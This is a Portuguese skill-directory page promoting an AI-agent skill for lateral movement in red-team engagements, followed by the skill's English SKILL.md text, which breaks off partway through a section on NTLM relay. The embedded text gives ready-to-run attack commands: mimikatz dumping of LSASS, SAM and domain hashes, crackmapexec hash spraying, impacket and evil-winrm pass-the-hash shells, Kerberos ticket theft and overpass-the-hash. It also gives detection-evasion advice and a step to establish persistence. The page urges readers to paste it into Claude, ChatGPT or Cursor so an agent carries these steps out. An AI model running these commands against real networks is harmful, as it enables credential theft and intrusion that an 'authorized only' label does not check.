offensive-lateral-movement
O que ela faz
Esta skill é uma metodologia para se mover pela rede depois de um ponto de apoio inicial em um red team ou pentest autorizado. Ela cobre reutilização de credenciais, relay NTLM, protocolos de execução remota e tunelamento. Ela é para profissionais de segurança com permissão por escrito.
Quando usar
- ✓Quando você tem um ponto de apoio em um teste autorizado e precisa verificar até onde as credenciais alcançam.
- ✓Quando você quer testar a exposição a relay NTLM em hosts sem assinatura SMB.
- ✓Quando você precisa documentar cada etapa de pivô para o relatório de um trabalho.
Link da skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-lateral-movement/SKILL.mdCopie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.
Como usar
O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.
Mensagem pronta para colar
Para Claude Code, Codex ou Cursor: rode na pasta do projeto e a skill fica instalada.
Baixe o SKILL.md e coloque na pasta de skills do seu agente.
Exemplo do que pedir para a IA
“Temos autorização para testar nossa rede a partir de uma estação de trabalho comprometida. Verifique quais hosts aceitam credenciais reutilizadas.”
5 skills novas por semana. 1 minuto de leitura.
Como funciona
A skill enumera os hosts alcançáveis e as portas comuns e então testa a reutilização de credenciais e as opções de execução remota. Configura túneis se for preciso alcançar redes segmentadas e registra cada pivô.
Conteúdo técnico (SKILL.md original)
Texto original do autor, em inglês, direto do GitHub.
Offensive Lateral Movement
Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.
This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.
Quick Workflow
- Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
- Harvest credentials from the current host (LSASS, SAM, cached creds).
- Test credential reuse across discovered hosts with crackmapexec/netexec.
- Select a movement technique based on available credentials and target services.
- Establish persistence on the new host before moving further.
- Set up tunneling if you need to reach segmented networks.
- Document each pivot for your engagement report.
Pass-the-Hash
Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.
Extract hashes with mimikatz on the current host:
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords
# Dump SAM hashes (requires SYSTEM)
lsadump::sam
# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
Use crackmapexec (or netexec) to spray the hash across the network:
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
Use impacket for shell access:
# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>
OPSEC note: PsExec creates a service on the target (event 7045). Prefer
wmiexec or evil-winrm when possible. Crackmapexec with --no-bruteforce
prevents lockouts when testing multiple users against multiple hashes.
Pass-the-Ticket and Overpass-the-Hash
Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.
Export tickets from memory with mimikatz:
# List all Kerberos tickets in memory
sekurlsa::tickets /export
# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi
Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:
# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe
From Linux using impacket:
# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache
# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local
Request a service ticket for a specific SPN:
# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
OPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal.
NTLM Relay Attacks
NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.
Check SMB s
Perguntas frequentes
O que é pass-the-hash?
É autenticar com um hash de senha em vez da senha em texto puro, algo que a skill testa em hosts autorizados.
Precisa de uma credencial antes?
Sim. A skill pressupõe pelo menos uma credencial válida ou token de sessão no host atual.
Isso serve só para testes autorizados?
Sim. A skill é para trabalhos autorizados.
Detalhes
Descrição original do autor
Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypa
repo: SnailSploit/Claude-Red
Popularidade
- Estrelas no GitHub
- 10 mil
- Posição no ranking
- #11965
- Licença
- MIT
- Atualizada em
- 12/10/2026
Comentários
- …
Mais skills deste repositório
offensive-active-directory
10 milAjuda seu agente a planejar um teste autorizado de segurança do Active Directory, do mapeamento da rede até os caminhos de ataque ao Domain Admin.
offensive-netexec
10 milAjuda seu agente a usar a ferramenta NetExec (nxc) em testes de rede autorizados, cobrindo protocolos, autenticação e verificação de credenciais.
offensive-api-abuse
10 milAjuda seu agente a planejar testes autorizados de segurança em APIs, buscando abuso da lógica de negócio, riscos de GraphQL e condições de corrida.
offensive-api-security
10 milAjuda seu agente a fazer testes de segurança autorizados em APIs REST, gRPC e WebSocket, com base no OWASP API Top 10.
Skills parecidas
reverse-engineer-anything
422 milAjuda seu agente a analisar apps e pacotes já publicados para explicar recursos, comparar versões ou orientar uma reconstrução, usando a ferramenta REA.
1password
394 milAjuda seu agente a configurar a CLI do 1Password, fazer login e ler ou injetar segredos sem imprimir seus valores no chat.
healthcheck
394 milAjuda seu agente a auditar o computador ou servidor que roda o OpenClaw em busca de riscos como SSH, firewall, atualizações e backups, com correções seguras.